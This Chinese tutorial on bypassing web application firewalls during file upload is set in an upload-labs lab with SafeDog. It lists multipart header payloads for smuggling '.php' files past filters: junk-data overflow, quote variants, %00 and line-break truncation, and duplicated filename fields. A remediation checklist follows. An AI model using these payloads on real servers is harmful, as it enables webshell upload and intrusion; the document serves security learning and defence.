文件上传--WAF绕过干货
本文主要内容
绕过WAF上传文件
-- 安全狗
-- 宝塔
Burp抓包解析
#上传参数名解析:明确哪些东西能修改?
Content-Disposition:—般可更改
name:表单参数值,不能更改
filename:文件名,可以更改 ,比较重要
Content-Type:文件MIME,视情况更改
Content-Disposition: form-data; name="upload_file";filename="qq.jpg"
Content-Type: image/jpeg
环境搭建
虚拟机上安装 :uploadlabs+安全狗
2025年最新upload-labs靶场(环境搭建以及通关全教程)_upload-labs靶场搭建-CSDN博客https://blog.csdn.net/2303_78851087/article/details/145292914
安全狗安装_安全狗安装教程-CSDN博客https://blog.csdn.net/weixin_54648419/article/details/117261396
绕过方法
#常见绕过方法:
数据溢出-防匹配(xxx...)
Content-Disposition: form-data; name="upload_file";
fjweoifjowiejfiowjefowejfojwioefjewfjweoifjowiejfiowjefowejfojwioefjewfjweoifjowiejfiowjefowejfojwioefjewfjweoifjowiejfiowjefowejfojwioefj
ewfjweoifjowiejfiowjefowejfojwioefjewfjweoifjowiejfiowjefowejfojwioe
fjewfjweoifjowiejfiowjefowejfojwioefjew;filename="qq.jpg"
Content-Type: image/jpeg --#在;之间加上一堆垃圾数据
符号变异-防匹配(' " ;)
Content-Disposition: form-data; name="upload_file";filename="qq.jpg" --#这里;包含属性要么是函数,要么是属性赋值,有;表示还有属性赋值
filename="x.php
filename='x.php
filename="a.jpg;.php";filename="xx"qq.jpg
filename="/jpeg/x.php"
filename="Content-Type:image/jpeg;x.php"
数据截断-防匹配(%00;换行)
filename="a.php%00.jpg"
filename="x.p
h
p"
重复数据-防匹配 (参数多次)
filename="Content-Disposition: form-data;
name="upload_file";x.php"
filename="x.jpg";filename="x.jpg";.....filename="x.php"; --# 感觉和数据溢出差不多欸
Fuzz模糊测试
构造优质上传漏洞Fuzz字典 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/188464.html
好用的字典
GitHub - TuuuNya/fuzz_dict: 常用的一些fuzz及爆破字典,欢迎大神继续提供新的字典及分类。https://github.com/TuuuNya/fuzz_dict
安全修复方案
文件上传安全修复方案是指一系列用于防止文件上传漏洞的安全措施,旨在确保用户上传的文件不会对服务器或应用程序造成安全威胁。以下是文件上传安全修复方案的主要内容及其用途:
文件上传安全修复方案的主要内容
严格验证文件类型
白名单机制:仅允许上传特定类型的文件,如图片(jpg、png、gif)、文档(pdf、doc、docx)等。
MIME类型检查:验证文件的MIME类型,确保与允许的文件类型一致。
文件内容检测:检查文件内容,确保文件类型与扩展名一致,防止恶意文件伪装。
文件名处理
重命名文件:将上传的文件重命名为随机生成的名称,避免使用原始文件名,防止路径遍历攻击。
过滤文件名:确保文件名不包含任何可能被解释为目录或遍历序列的子字符串。
文件存储
隔离存储:将上传的文件存储在Web根目录之外,确保文件不可执行。
隐藏文件路径:避免将文件存储路径暴露给用户。
限制文件大小
设置文件大小限制:限制上传文件的最大大小,防止攻击者上传过大的文件,耗尽服务器资源。
服务器端验证
后端验证:在服务器端进行文件验证,而不是依赖客户端验证。
异常处理:在文件上传处理函数中加入异常处理逻辑,确保代码的健壮性。
权限控制
目录权限限制:确保文件上传目录的权限受到严格控制,仅允许必要的操作。
禁用执行权限:配置服务器,禁止直接执行上传目录中的文件。
监控和日志记录
安全监控:实施安全监控,检测和响应潜在的恶意上传尝试。
详细日志记录:记录所有文件上传操作,便于事后审计。
使用安全工具和库
安全上传库:使用安全的上传库和框架,如Express.js的multer中间件。
WAF防护:部署Web应用防火墙(WAF)来检测和阻止恶意上传行为。
文件上传安全修复方案的用途
防止恶意文件上传:通过严格的文件类型和内容验证,防止攻击者上传恶意脚本或文件,从而避免服务器被攻击。
保护服务器资源:限制文件大小和存储路径,防止攻击者耗尽服务器资源或访问敏感文件。
增强应用程序安全性:通过后端验证和权限控制,减少因文件上传导致的安全漏洞,提升整体安全性。
提高透明度和可追溯性:通过监控和日志记录,便于及时发现和应对安全事件。